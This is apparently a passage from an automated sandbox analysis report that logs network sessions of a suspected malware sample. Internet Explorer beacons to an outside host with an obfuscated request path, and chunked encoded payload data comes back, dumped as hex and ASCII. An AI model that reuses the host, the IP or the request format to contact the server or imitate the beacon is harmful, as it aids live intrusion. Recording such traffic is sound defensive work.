5a 34 59 71 37 6d 30 62 6c 7a 59 4d 46 65 36 75 75 61 72 79 65 45 70 4a 64 50 50 42 61 4c 36 77 67 55 7a 39 72 7a 74 58 78 45 70 47 46 53 61 68 72 6c 33 4c 39 73 34 57 2f 36 57 30 66 47 56 4f 7a 6d 61 30 56 56 62 46 61 55 6d 47 32 45 79 51 7a 52 52 66 6f 42 6e 77 56 54 47 6c 76 51 45 31 71 5a 35 73 39 4d 6c 73 2b 53 79 42 6f 31 2f 35 33 68 6b 59 5a 70 31 6e 2f 4a 6a 46 78 6f 46 38 64 44 34 47 6b 77 72 37 4b 61 56 6a 77 35 35 4e 63 56 79 48 72 4d 49 7a 77 6a 45 6a 39 30 42 76 71 31 50 4a 6a 64 78 56 77 79 33 31 58 70 4a 6f 57 54 35 44 68 6e 2f 73 46 44 63 37 33 4f 31 65 59 71 47 58 4f 4a 37 66 73 2f 4e 33 61 62 44 2f 33 65 4b 63 7a 50 2b 73 66 71 70 70 53 77 39 59 67 54 52 6f 53 32 2f 7a 31 6b 71 51 4f 44 55 7a 41 43 75 70 49 34 66 63 52 63 57 43 6e 70 74 38 69 49 4a 45 7a 4d 48 45 39 6f 78 63 33 6e 66 62 67 47 6a 6d 39 6b 69 44 55 78 6a 58 55 79 67 44 61 59 6c 49 44 73 63 2f 45 39 52 51 47 41 4e 4e 6f 4b 45 67 6a 4c 50 45 47 56 73 64 74 57 45 48 63 6f 2b 33 75 34 5a 59 38 33 72 77 79 6e 4e 30 76 61 43 46 4e 4f 36 72 48 35 36 7a 6a 45 49 53 78 48 73 56 6a 6a 61 6e 6d 64 63 47 31 57 61 50 66 48 43 67 33 79 32 68 71 69 6c 54 61 58 46 37 2b 54 76 70 38 76 5a 72 35 4c 75 65 35 69 30 6c 46 53 6c 46 47 62 48 63 59 59 6c 44 44 55 4a 37 51 33 71 6c 6b 70 77 66 74 50 65 53 54 68 6b 30 61 66 65 72 30 47 77 6d 42 6f 47 48 58 73 41 42 51 57 33 79 50 4b 73 4f 61 33 57 37 79 2f 33 6a 79 62 55 53 6f 50 4e 76 4e 72 69 57 46 2f 65 44 30 61 71 63 6f 46 37 41 38 Data Ascii: 4a314grWALJ0AoRryMhLkb4+5fKF1BT3DlVu3juzEHaw/ZvSESmQvXQ8nkp0Y9RkdWgiz1iOK1D8NUr9iZdsdFr81JmpWg9txndzVGT0e6+TBYQEfcePQYnouQ3nEZTcDuRTcVVKp4MvyoAE76gDZYZb1U7TO6gWF5xGaEYDPRhX6KuBEDLnpKJYNxnZ/psk5Z/xirUQuqr5nQ8dCwbvnIa/DgDYf5CjgdswkgrrHo4q07m6Ae9mB+SF4L6qM5V+gw0a3LpeKTuWSy31lovo18D6cCZIfNM0yMsAqQjxDW0YaSyVeMTju6tvvYy5mUbusap7WImAWmagHKn0QCRYR37dI2nspX1DORs+15QbqbLOwsgLcdfeV6kwcHDhd4pMLLps1qlAISORQR2K4D6JYl8Xq1O7KUgusM+rMcQl9vBoETj9pSthap92AjnRviz2tnD/2Usrtc0xl2Z4Yq7m0blzYMFe6uuaryeEpJdPPBaL6wgUz9rztXxEpGFSahrl3L9s4W/6W0fGVOzma0VVbFaUmG2EyQzRRfoBnwVTGlvQE1qZ5s9Mls+SyBo1/53hkYZp1n/JjFxoF8dD4Gkwr7KaVjw55NcVyHrMIzwjEj90Bvq1PJjdxVwy31XpJoWT5Dhn/sFDc73O1eYqGXOJ7fs/N3abD/3eKczP+sfqppSw9YgTRoS2/z1kqQODUzACupI4fcRcWCnpt8iIJEzMHE9oxc3nfbgGjm9kiDUxjXUygDaYlIDsc/E9RQGANNoKEgjLPEGVsdtWEHco+3u4ZY83rwynN0vaCFNO6rH56zjEISxHsVjjanmdcG1WaPfHCg3y2hqilTaXF7+Tvp8vZr5Lue5i0lFSlFGbHcYYlDDUJ7Q3qlkpwftPeSThk0afer0GwmBoGHXsABQW3yPKsOa3W7y/3jybUSoPNvNriWF/eD0aqcoF7A8
Jul 6, 2021 14:31:33.795803070 CEST	5756	IN	Data Raw: 6c 78 63 44 32 47 56 63 61 36 54 4d 71 37 71 45 4a 45 6c 61 34 2b 50 55 76 34 6f 56 47 72 2f 78 32 67 77 72 79 32 69 75 4f 69 67 35 4f 36 2b 72 59 31 6e 53 34 46 74 79 61 54 71 5a 43 48 76 6f 31 6f 78 41 6f 43 36 32 44 62 48 4f 33 50 33 30 42 4c Data Ascii: lxcD2GVca6TMq7qEJEla4+PUv4oVGr/x2gwry2iuOig5O6+rY1nS4FtyaTqZCHvo1oxAoC62DbHO3P30BLghab//RvG9hkoVKtvUlf1dUfd/hFWNGLhQz9wnvaRsWtj0TveHk1mxLCbBq9qT9iZKYtFlcANnmzhxYXKJr7Qh7YnL3wanaF8xRzB0cBHcnYqzEDKRn/+h5NzRMklbkLP9dcsrxNWX2E8FgZrNX99blk+rAt+eSJy
Jul 6, 2021 14:31:33.795826912 CEST	5758	IN	Data Raw: 67 54 58 34 34 41 75 50 4d 36 34 66 56 45 49 4c 78 54 56 49 32 68 78 59 37 4e 44 62 68 6e 53 6d 65 44 70 61 33 65 77 44 38 30 44 33 6c 50 35 72 4f 68 6b 68 38 6e 42 30 67 62 64 35 42 4a 37 72 44 49 73 45 59 72 71 74 4a 72 6b 72 30 74 58 49 33 66 Data Ascii: gTX44AuPM64fVEILxTVI2hxY7NDbhnSmeDpa3ewD80D3lP5rOhkh8nB0gbd5BJ7rDIsEYrqtJrkr0tXI3f76TkOqKK8+XfqzUd6WsZvh07ElCb+UyD65n8N+NDwGOIwt/xp7rtZuunoVrkz+e1KZEHYuxlDgISMWMU3OBX4KOqL3C5T0V//4eYYBcIhnBaag/I9/pQwUJfr4KXB3N4p3P4Pf5cg0+SUGiD0GqNIP/wC1QaLUQrl
Jul 6, 2021 14:31:33.795866966 CEST	5759	IN	Data Raw: 45 6c 4b 71 41 61 43 7a 64 4f 33 64 33 4f 48 73 46 6f 4d 58 4d 51 73 2b 38 64 35 2f 46 78 39 5a 6d 64 71 41 62 75 2f 4a 68 4b 44 48 32 47 31 34 49 36 6f 76 51 58 70 6b 42 34 67 6f 44 65 4b 6c 5a 6e 65 4c 34 4c 48 47 4e 73 57 57 54 46 51 38 64 75 Data Ascii: ElKqAaCzdO3d3OHsFoMXMQs+8d5/Fx9ZmdqAbu/JhKDH2G14I6ovQXpkB4goDeKlZneL4LHGNsWWTFQ8dunZX+zXvxtQ8ZIAm0RdtWSPfmU8H+MqIfvLRq17/X8IWIo73/Oyi0zVXeSHJooo40JIzxNxmboREY/8lyErZvgDhHbXcwmys/MUghOhvpwwlDUkoJTQm+e0YcHyMIMgbBHIPDEIODzlqZ2aYLk/HCSx8zq/DZoODWj
Jul 6, 2021 14:31:33.795900106 CEST	5761	IN	Data Raw: 57 72 79 52 45 2f 4e 30 2b 6b 61 72 77 56 48 45 6e 70 69 5a 63 7a 6a 67 74 51 57 32 7a 4d 46 48 47 50 50 74 33 7a 37 61 65 77 30 46 4c 34 62 68 39 72 44 2b 54 4d 54 69 32 77 54 5a 55 6c 48 4e 4c 41 58 35 4f 72 48 43 78 30 50 4c 54 71 6c 6e 71 41 Data Ascii: WryRE/N0+karwVHEnpiZczjgtQW2zMFHGPPt3z7aew0FL4bh9rD+TMTi2wTZUlHNLAX5OrHCx0PLTqlnqAcOxSiHPN5MS9hyi9JwrV21NTuZkOPBH1kMSxOBiyxgJZmX6M1UvFBNjBmXFjA0yY5hFM9fvaMDA9Bxv6ETkIJbBkoUgzm7hStpnLWD/YBoE30sWHD+WiHtcVoaupUe5XusTrWI1wf4fwK8j3RhESxHcHX8CZb+lED
Jul 6, 2021 14:31:33.795929909 CEST	5762	IN	Data Raw: 35 5a 2b 43 4e 37 6d 73 6b 48 7a 70 79 50 44 4e 75 4c 68 67 48 31 59 44 45 47 65 69 4c 68 32 78 52 48 56 35 78 48 45 48 71 41 35 4e 56 4b 79 38 67 32 35 4e 66 66 6c 36 63 46 6d 4e 56 6f 42 4c 70 30 32 35 73 62 6f 73 61 63 36 75 48 36 6e 4b 39 44 Data Ascii: 5Z+CN7mskHzpyPDNuLhgH1YDEGeiLh2xRHV5xHEHqA5NVKy8g25Nffl6cFmNVoBLp025sbosac6uH6nK9DkEdHaDceK3scDeDcd1bZUYoO/j5tMgB1kOHdsIHILi6/hnW5ceouM8zuyDaL4W/lcEvDLTQucCFvZ7G1XL7fytejcD//xlHJ2EV6QXWLAyFaS2cj1+UgqRmDMtKlBZW16nCYDOdopSItXMfBJVDovsIe4t7xpu/tA
Jul 6, 2021 14:31:33.795955896 CEST	5763	IN	Data Raw: 44 36 71 66 30 6b 75 4e 46 68 4c 75 63 4a 2b 30 50 43 36 74 35 67 6e 5a 34 42 46 45 41 33 58 71 74 4e 31 4e 37 59 49 75 39 48 5a 4b 73 62 39 57 38 72 37 34 30 4a 77 56 6d 55 4b 6d 41 58 66 6e 36 67 62 57 33 6a 57 61 45 4b 71 5a 35 55 4a 35 62 35 Data Ascii: D6qf0kuNFhLucJ+0PC6t5gnZ4BFEA3XqtN1N7YIu9HZKsb9W8r740JwVmUKmAXfn6gbW3jWaEKqZ5UJ5b589F+hAD4qCwoqpOfGiRUsPZOXquWknnUPMh/UMxkG5XygSNHPIlPQf0KBO59FwzPCWCqvM8qAy7JqBzAmwQs0OYppXZCvZM69UaT929q8e42bBdTt5kbfi96lQ7k5soBqFf3veVQEajzauWHinoVxqRJi+OSRAHse
Jul 6, 2021 14:31:33.795969009 CEST	5765	IN	Data Raw: 6a 72 4c 46 44 76 4e 4b 67 6a 49 42 33 76 4e 61 4e 36 4c 7a 6a 59 41 55 64 67 39 6a 39 6d 30 54 68 34 74 4b 2b 73 4d 57 65 43 6e 48 50 42 6c 54 43 7a 77 42 54 79 33 64 72 34 5a 71 37 75 45 66 32 67 54 33 57 61 58 2b 75 51 44 33 31 75 7a 6e 46 39 Data Ascii: jrLFDvNKgjIB3vNaN6LzjYAUdg9j9m0Th4tK+sMWeCnHPBlTCzwBTy3dr4Zq7uEf2gT3WaX+uQD31uznF9UOsircDJQANKO0d82TKV+OaPW/0az5prwH1r3kFXPHqb3YZFmRfocn21t36MUXYNaFR+k14L7CRuWnfSZxkSxAQGsxXtxFOvMPuDSXa+bq4SRZV4kPJQDKUTiCGi8dwdtCnteI2zM+eMz6+TKJalUkPlWkfdZm5gQ
Jul 6, 2021 14:31:33.796123981 CEST	5766	IN	Data Raw: 49 6b 4c 6f 52 4a 67 6d 69 7a 63 64 34 69 36 47 4e 66 71 44 79 38 47 58 79 4c 48 4a 43 71 64 31 73 61 63 4f 32 51 76 77 62 58 59 78 44 4c 38 52 54 53 4c 44 68 7a 2f 4a 55 6b 70 4f 42 35 47 32 44 65 4a 6d 4a 75 38 61 42 72 66 4d 6d 73 33 38 34 53 Data Ascii: IkLoRJgmizcd4i6GNfqDy8GXyLHJCqd1sacO2QvwbXYxDL8RTSLDhz/JUkpOB5G2DeJmJu8aBrfMms384SXz5cBHV5i5Ba+8kAifi1l9/0Dg/MfoeaDzlhOk+o9g49hr/JBwAWj3HoiQowJfLcDm9Elomg8pODpgexMW9sXcUymehnqGz9G1zxS79+sdD4IP8wPtQmEnYLbxtID/Fl09Xn5abf73KLV31gWDkr0OJ20EDwcWczK
Jul 6, 2021 14:31:33.796155930 CEST	5767	IN	Data Raw: 65 74 7a 49 68 35 67 59 63 70 66 57 2f 48 4c 33 63 67 41 36 44 61 72 4e 53 56 75 6d 72 6b 59 67 50 51 44 45 51 36 79 4e 79 68 44 5a 50 64 55 6a 48 61 4d 6d 42 4f 2b 30 47 69 6a 53 51 39 5a 50 69 46 63 68 48 66 36 51 61 70 63 69 53 70 49 45 31 42 Data Ascii: etzIh5gYcpfW/HL3cgA6DarNSVumrkYgPQDEQ6yNyhDZPdUjHaMmBO+0GijSQ9ZPiFchHf6QapciSpIE1BxMU55qQm1QwQKY1xGtx9wSooSO1eApcBb2SybgCzjEfTJoYm2GoxBt+g5E7vxPfCX8Lz2KXylMKTD8bTn2zf2VU/pZtu8FDBW+CahSAvMKto5T+CXe4XUKbcebC1DkR1RUIEntenwJoIob30WZRkvqaWDDKmQLLZp
Jul 6, 2021 14:31:33.832523108 CEST	5769	IN	Data Raw: 64 48 44 76 77 46 55 30 39 77 51 59 54 50 48 6d 64 37 7a 49 58 78 36 74 5a 2b 64 68 6e 4c 4b 70 71 64 6f 51 6c 4a 52 45 50 55 54 43 53 42 61 62 67 50 6b 54 6f 66 79 47 32 61 45 4a 6c 6a 67 68 55 42 5a 57 49 49 52 68 49 4a 71 74 34 63 63 68 77 2f Data Ascii: dHDvwFU09wQYTPHmd7zIXx6tZ+dhnLKpqdoQlJREPUTCSBabgPkTofyG2aEJljghUBZWIIRhIJqt4cchw/qm5g4a34BSbj4qhHspzEAyAtjrK+do97NxAKp0nqqq2kMkdEnNw/LpCY396nFbN8Er0Uh113nBF8rYBZ44JUxy0z/QwOWlAtc1pmui9lyIe2de+SXTIL5voydZlgmZ3tssMh1Bims6Ee/BcLLq6HkHE1ZOP3nrmKs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49819	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:33.754381895 CEST	5753	OUT	GET /jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsCvSsG_2BS6o/EetdeEq5gQ_2FyXySX/Ubse8b9so/m_2FVXqZKmYn0vbRxn_2/BpcuM8syJiHvDzsFPwE/VcmFcijyALhTLZxPULLl94/yvHhbYt_2F3zs/MiwgrxH9/_2F06LcLdvAsYVoK_2FJUaB/om5CWM0I.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:33.927639961 CEST	5965	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:33 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 61 33 31 34 0d 0a 67 72 57 41 4c 4a 30 41 6f 52 72 79 4d 68 4c 6b 62 34 2b 35 66 4b 46 31 42 54 33 44 6c 56 75 33 6a 75 7a 45 48 61 77 2f 5a 76 53 45 53 6d 51 76 58 51 38 6e 6b 70 30 59 39 52 6b 64 57 67 69 7a 31 69 4f 4b 31 44 38 4e 55 72 39 69 5a 64 73 64 46 72 38 31 4a 6d 70 57 67 39 74 78 6e 64 7a 56 47 54 30 65 36 2b 54 42 59 51 45 66 63 65 50 51 59 6e 6f 75 51 33 6e 45 5a 54 63 44 75 52 54 63 56 56 4b 70 34 4d 76 79 6f 41 45 37 36 67 44 5a 59 5a 62 31 55 37 54 4f 36 67 57 46 35 78 47 61 45 59 44 50 52 68 58 36 4b 75 42 45 44 4c 6e 70 4b 4a 59 4e 78 6e 5a 2f 70 73 6b 35 5a 2f 78 69 72 55 51 75 71 72 35 6e 51 38 64 43 77 62 76 6e 49 61 2f 44 67 44 59 66 35 43 6a 67 64 73 77 6b 67 72 72 48 6f 34 71 30 37 6d 36 41 65 39 6d 42 2b 53 46 34 4c 36 71 4d 35 56 2b 67 77 30 61 33 4c 70 65 4b 54 75 57 53 79 33 31 6c 6f 76 6f 31 38 44 36 63 43 5a 49 66 4e 4d 30 79 4d 73 41 71 51 6a 78 44 57 30 59 61 53 79 56 65 4d 54 6a 75 36 74 76 76 59 79 35 6d 55 62 75 73 61 70 37 57 49 6d 41 57 6d 61 67 48 4b 6e 30 51 43 52 59 52 33 37 64 49 32 6e 73 70 58 31 44 4f 52 73 2b 31 35 51 62 71 62 4c 4f 77 73 67 4c 63 64 66 65 56 36 6b 77 63 48 44 68 64 34 70 4d 4c 4c 70 73 31 71 6c 41 49 53 4f 52 51 52 32 4b 34 44 36 4a 59 6c 38 58 71 31 4f 37 4b 55 67 75 73 4d 2b 72 4d 63 51 6c 39 76 42 6f 45 54 6a 39 70 53 74 68 61 70 39 32 41 6a 6e 52 76 69 7a 32 74 6e 44 2f 32 55 73 72 74 63 30 78 6c 32 5a 34 59 71 37 6d 30 62 6c 7a 59 4d 46 65 36 75 75 61 72 79 65 45 70 4a 64 50 50 42 61 4c 36 77 67 55 7a 39 72 7a 74 58 78 45 70 47 46 53 61 68 72 6c 33 4c 39 73 34 57 2f 36 57 30 66 47 56 4f 7a 6d 61 30 56 56 62 46 61 55 6d 47 32 45 79 51 7a 52 52 66 6f 42 6e 77 56 54 47 6c 76 51 45 31 71 5a 35 73 39 4d 6c 73 2b 53 79 42 6f 31 2f 35 33 68 6b 59 5a 70 31 6e 2f 4a 6a 46 78 6f 46 38 64 44 34 47 6b 77 72 37 4b 61 56 6a 77 35 35 4e 63 56 79 48 72 4d 49 7a 77 6a 45 6a 39 30 42 76 71 31 50 4a 6a 64 78 56 77 79 33 31 58 70 4a 6f 57 54 35 44 68 6e 2f 73 46 44 63 37 33 4f 31 65 59 71 47 58 4f 4a 37 66 73 2f 4e 33 61 62 44 2f 33 65 4b 63 7a 50 2b 73 66 71 70 70 53 77 39 59 67 54 52 6f 53 32 2f 7a 31 6b 71 51 4f 44 55 7a 41 43 75 70 49 34 66 63 52 63 57 43 6e 70 74 38 69 49 4a 45 7a 4d 48 45 39 6f 78 63 33 6e 66 62 67 47 6a 6d 39 6b 69 44 55 78 6a 58 55 79 67 44 61 59 6c 49 44 73 63 2f 45 39 52 51 47 41 4e 4e 6f 4b 45 67 6a 4c 50 45 47 56 73 64 74 57 45 48 63 6f 2b 33 75 34 5a 59 38 33 72 77 79 6e 4e 30 76 61 43 46 4e 4f 36 72 48 35 36 7a 6a 45 49 53 78 48 73 56 6a 6a 61 6e 6d 64 63 47 31 57 61 50 66 48 43 67 33 79 32 68 71 69 6c 54 61 58 46 37 2b 54 76 70 38 76 5a 72 35 4c 75 65 35 69 30 6c 46 53 6c 46 47 62 48 63 59 59 6c 44 44 55 4a 37 51 33 71 6c 6b 70 77 66 74 50 65 53 54 68 6b 30 61 66 65 72 30 47 77 6d 42 6f 47 48 58 73 41 42 51 57 33 79 50 4b 73 4f 61 33 57 37 79 2f 33 6a 79 62 55 53 6f 50 4e 76 4e 72 69 57 46 2f 65 44 30 61 71 63 6f 46 37 41 38 Data Ascii: 4a314grWALJ0AoRryMhLkb4+5fKF1BT3DlVu3juzEHaw/ZvSESmQvXQ8nkp0Y9RkdWgiz1iOK1D8NUr9iZdsdFr81JmpWg9txndzVGT0e6+TBYQEfcePQYnouQ3nEZTcDuRTcVVKp4MvyoAE76gDZYZb1U7TO6gWF5xGaEYDPRhX6KuBEDLnpKJYNxnZ/psk5Z/xirUQuqr5nQ8dCwbvnIa/DgDYf5CjgdswkgrrHo4q07m6Ae9mB+SF4L6qM5V+gw0a3LpeKTuWSy31lovo18D6cCZIfNM0yMsAqQjxDW0YaSyVeMTju6tvvYy5mUbusap7WImAWmagHKn0QCRYR37dI2nspX1DORs+15QbqbLOwsgLcdfeV6kwcHDhd4pMLLps1qlAISORQR2K4D6JYl8Xq1O7KUgusM+rMcQl9vBoETj9pSthap92AjnRviz2tnD/2Usrtc0xl2Z4Yq7m0blzYMFe6uuaryeEpJdPPBaL6wgUz9rztXxEpGFSahrl3L9s4W/6W0fGVOzma0VVbFaUmG2EyQzRRfoBnwVTGlvQE1qZ5s9Mls+SyBo1/53hkYZp1n/JjFxoF8dD4Gkwr7KaVjw55NcVyHrMIzwjEj90Bvq1PJjdxVwy31XpJoWT5Dhn/sFDc73O1eYqGXOJ7fs/N3abD/3eKczP+sfqppSw9YgTRoS2/z1kqQODUzACupI4fcRcWCnpt8iIJEzMHE9oxc3nfbgGjm9kiDUxjXUygDaYlIDsc/E9RQGANNoKEgjLPEGVsdtWEHco+3u4ZY83rwynN0vaCFNO6rH56zjEISxHsVjjanmdcG1WaPfHCg3y2hqilTaXF7+Tvp8vZr5Lue5i0lFSlFGbHcYYlDDUJ7Q3qlkpwftPeSThk0afer0GwmBoGHXsABQW3yPKsOa3W7y/3jybUSoPNvNriWF/eD0aqcoF7A8
Jul 6, 2021 14:31:33.927675962 CEST	5967	IN	Data Raw: 6c 78 63 44 32 47 56 63 61 36 54 4d 71 37 71 45 4a 45 6c 61 34 2b 50 55 76 34 6f 56 47 72 2f 78 32 67 77 72 79 32 69 75 4f 69 67 35 4f 36 2b 72 59 31 6e 53 34 46 74 79 61 54 71 5a 43 48 76 6f 31 6f 78 41 6f 43 36 32 44 62 48 4f 33 50 33 30 42 4c Data Ascii: lxcD2GVca6TMq7qEJEla4+PUv4oVGr/x2gwry2iuOig5O6+rY1nS4FtyaTqZCHvo1oxAoC62DbHO3P30BLghab//RvG9hkoVKtvUlf1dUfd/hFWNGLhQz9wnvaRsWtj0TveHk1mxLCbBq9qT9iZKYtFlcANnmzhxYXKJr7Qh7YnL3wanaF8xRzB0cBHcnYqzEDKRn/+h5NzRMklbkLP9dcsrxNWX2E8FgZrNX99blk+rAt+eSJy
Jul 6, 2021 14:31:33.927711964 CEST	5968	IN	Data Raw: 67 54 58 34 34 41 75 50 4d 36 34 66 56 45 49 4c 78 54 56 49 32 68 78 59 37 4e 44 62 68 6e 53 6d 65 44 70 61 33 65 77 44 38 30 44 33 6c 50 35 72 4f 68 6b 68 38 6e 42 30 67 62 64 35 42 4a 37 72 44 49 73 45 59 72 71 74 4a 72 6b 72 30 74 58 49 33 66 Data Ascii: gTX44AuPM64fVEILxTVI2hxY7NDbhnSmeDpa3ewD80D3lP5rOhkh8nB0gbd5BJ7rDIsEYrqtJrkr0tXI3f76TkOqKK8+XfqzUd6WsZvh07ElCb+UyD65n8N+NDwGOIwt/xp7rtZuunoVrkz+e1KZEHYuxlDgISMWMU3OBX4KOqL3C5T0V//4eYYBcIhnBaag/I9/pQwUJfr4KXB3N4p3P4Pf5cg0+SUGiD0GqNIP/wC1QaLUQrl
Jul 6, 2021 14:31:33.927742958 CEST	5969	IN	Data Raw: 45 6c 4b 71 41 61 43 7a 64 4f 33 64 33 4f 48 73 46 6f 4d 58 4d 51 73 2b 38 64 35 2f 46 78 39 5a 6d 64 71 41 62 75 2f 4a 68 4b 44 48 32 47 31 34 49 36 6f 76 51 58 70 6b 42 34 67 6f 44 65 4b 6c 5a 6e 65 4c 34 4c 48 47 4e 73 57 57 54 46 51 38 64 75 Data Ascii: ElKqAaCzdO3d3OHsFoMXMQs+8d5/Fx9ZmdqAbu/JhKDH2G14I6ovQXpkB4goDeKlZneL4LHGNsWWTFQ8dunZX+zXvxtQ8ZIAm0RdtWSPfmU8H+MqIfvLRq17/X8IWIo73/Oyi0zVXeSHJooo40JIzxNxmboREY/8lyErZvgDhHbXcwmys/MUghOhvpwwlDUkoJTQm+e0YcHyMIMgbBHIPDEIODzlqZ2aYLk/HCSx8zq/DZoODWj
Jul 6, 2021 14:31:33.927772999 CEST	5971	IN	Data Raw: 57 72 79 52 45 2f 4e 30 2b 6b 61 72 77 56 48 45 6e 70 69 5a 63 7a 6a 67 74 51 57 32 7a 4d 46 48 47 50 50 74 33 7a 37 61 65 77 30 46 4c 34 62 68 39 72 44 2b 54 4d 54 69 32 77 54 5a 55 6c 48 4e 4c 41 58 35 4f 72 48 43 78 30 50 4c 54 71 6c 6e 71 41 Data Ascii: WryRE/N0+karwVHEnpiZczjgtQW2zMFHGPPt3z7aew0FL4bh9rD+TMTi2wTZUlHNLAX5OrHCx0PLTqlnqAcOxSiHPN5MS9hyi9JwrV21NTuZkOPBH1kMSxOBiyxgJZmX6M1UvFBNjBmXFjA0yY5hFM9fvaMDA9Bxv6ETkIJbBkoUgzm7hStpnLWD/YBoE30sWHD+WiHtcVoaupUe5XusTrWI1wf4fwK8j3RhESxHcHX8CZb+lED
Jul 6, 2021 14:31:33.927803040 CEST	5972	IN	Data Raw: 35 5a 2b 43 4e 37 6d 73 6b 48 7a 70 79 50 44 4e 75 4c 68 67 48 31 59 44 45 47 65 69 4c 68 32 78 52 48 56 35 78 48 45 48 71 41 35 4e 56 4b 79 38 67 32 35 4e 66 66 6c 36 63 46 6d 4e 56 6f 42 4c 70 30 32 35 73 62 6f 73 61 63 36 75 48 36 6e 4b 39 44 Data Ascii: 5Z+CN7mskHzpyPDNuLhgH1YDEGeiLh2xRHV5xHEHqA5NVKy8g25Nffl6cFmNVoBLp025sbosac6uH6nK9DkEdHaDceK3scDeDcd1bZUYoO/j5tMgB1kOHdsIHILi6/hnW5ceouM8zuyDaL4W/lcEvDLTQucCFvZ7G1XL7fytejcD//xlHJ2EV6QXWLAyFaS2cj1+UgqRmDMtKlBZW16nCYDOdopSItXMfBJVDovsIe4t7xpu/tA
Jul 6, 2021 14:31:33.927831888 CEST	5973	IN	Data Raw: 44 36 71 66 30 6b 75 4e 46 68 4c 75 63 4a 2b 30 50 43 36 74 35 67 6e 5a 34 42 46 45 41 33 58 71 74 4e 31 4e 37 59 49 75 39 48 5a 4b 73 62 39 57 38 72 37 34 30 4a 77 56 6d 55 4b 6d 41 58 66 6e 36 67 62 57 33 6a 57 61 45 4b 71 5a 35 55 4a 35 62 35 Data Ascii: D6qf0kuNFhLucJ+0PC6t5gnZ4BFEA3XqtN1N7YIu9HZKsb9W8r740JwVmUKmAXfn6gbW3jWaEKqZ5UJ5b589F+hAD4qCwoqpOfGiRUsPZOXquWknnUPMh/UMxkG5XygSNHPIlPQf0KBO59FwzPCWCqvM8qAy7JqBzAmwQs0OYppXZCvZM69UaT929q8e42bBdTt5kbfi96lQ7k5soBqFf3veVQEajzauWHinoVxqRJi+OSRAHse
Jul 6, 2021 14:31:33.927881956 CEST	5975	IN	Data Raw: 6a 72 4c 46 44 76 4e 4b 67 6a 49 42 33 76 4e 61 4e 36 4c 7a 6a 59 41 55 64 67 39 6a 39 6d 30 54 68 34 74 4b 2b 73 4d 57 65 43 6e 48 50 42 6c 54 43 7a 77 42 54 79 33 64 72 34 5a 71 37 75 45 66 32 67 54 33 57 61 58 2b 75 51 44 33 31 75 7a 6e 46 39 Data Ascii: jrLFDvNKgjIB3vNaN6LzjYAUdg9j9m0Th4tK+sMWeCnHPBlTCzwBTy3dr4Zq7uEf2gT3WaX+uQD31uznF9UOsircDJQANKO0d82TKV+OaPW/0az5prwH1r3kFXPHqb3YZFmRfocn21t36MUXYNaFR+k14L7CRuWnfSZxkSxAQGsxXtxFOvMPuDSXa+bq4SRZV4kPJQDKUTiCGi8dwdtCnteI2zM+eMz6+TKJalUkPlWkfdZm5gQ
Jul 6, 2021 14:31:33.927917957 CEST	5976	IN	Data Raw: 49 6b 4c 6f 52 4a 67 6d 69 7a 63 64 34 69 36 47 4e 66 71 44 79 38 47 58 79 4c 48 4a 43 71 64 31 73 61 63 4f 32 51 76 77 62 58 59 78 44 4c 38 52 54 53 4c 44 68 7a 2f 4a 55 6b 70 4f 42 35 47 32 44 65 4a 6d 4a 75 38 61 42 72 66 4d 6d 73 33 38 34 53 Data Ascii: IkLoRJgmizcd4i6GNfqDy8GXyLHJCqd1sacO2QvwbXYxDL8RTSLDhz/JUkpOB5G2DeJmJu8aBrfMms384SXz5cBHV5i5Ba+8kAifi1l9/0Dg/MfoeaDzlhOk+o9g49hr/JBwAWj3HoiQowJfLcDm9Elomg8pODpgexMW9sXcUymehnqGz9G1zxS79+sdD4IP8wPtQmEnYLbxtID/Fl09Xn5abf73KLV31gWDkr0OJ20EDwcWczK
Jul 6, 2021 14:31:33.927961111 CEST	5978	IN	Data Raw: 65 74 7a 49 68 35 67 59 63 70 66 57 2f 48 4c 33 63 67 41 36 44 61 72 4e 53 56 75 6d 72 6b 59 67 50 51 44 45 51 36 79 4e 79 68 44 5a 50 64 55 6a 48 61 4d 6d 42 4f 2b 30 47 69 6a 53 51 39 5a 50 69 46 63 68 48 66 36 51 61 70 63 69 53 70 49 45 31 42 Data Ascii: etzIh5gYcpfW/HL3cgA6DarNSVumrkYgPQDEQ6yNyhDZPdUjHaMmBO+0GijSQ9ZPiFchHf6QapciSpIE1BxMU55qQm1QwQKY1xGtx9wSooSO1eApcBb2SybgCzjEfTJoYm2GoxBt+g5E7vxPfCX8Lz2KXylMKTD8bTn2zf2VU/pZtu8FDBW+CahSAvMKto5T+CXe4XUKbcebC1DkR1RUIEntenwJoIob30WZRkvqaWDDKmQLLZp
Jul 6, 2021 14:31:33.967550993 CEST	6089	IN	Data Raw: 64 48 44 76 77 46 55 30 39 77 51 59 54 50 48 6d 64 37 7a 49 58 78 36 74 5a 2b 64 68 6e 4c 4b 70 71 64 6f 51 6c 4a 52 45 50 55 54 43 53 42 61 62 67 50 6b 54 6f 66 79 47 32 61 45 4a 6c 6a 67 68 55 42 5a 57 49 49 52 68 49 4a 71 74 34 63 63 68 77 2f Data Ascii: dHDvwFU09wQYTPHmd7zIXx6tZ+dhnLKpqdoQlJREPUTCSBabgPkTofyG2aEJljghUBZWIIRhIJqt4cchw/qm5g4a34BSbj4qhHspzEAyAtjrK+do97NxAKp0nqqq2kMkdEnNw/LpCY396nFbN8Er0Uh113nBF8rYBZ44JUxy0z/QwOWlAtc1pmui9lyIe2de+SXTIL5voydZlgmZ3tssMh1Bims6Ee/BcLLq6HkHE1ZOP3nrmKs

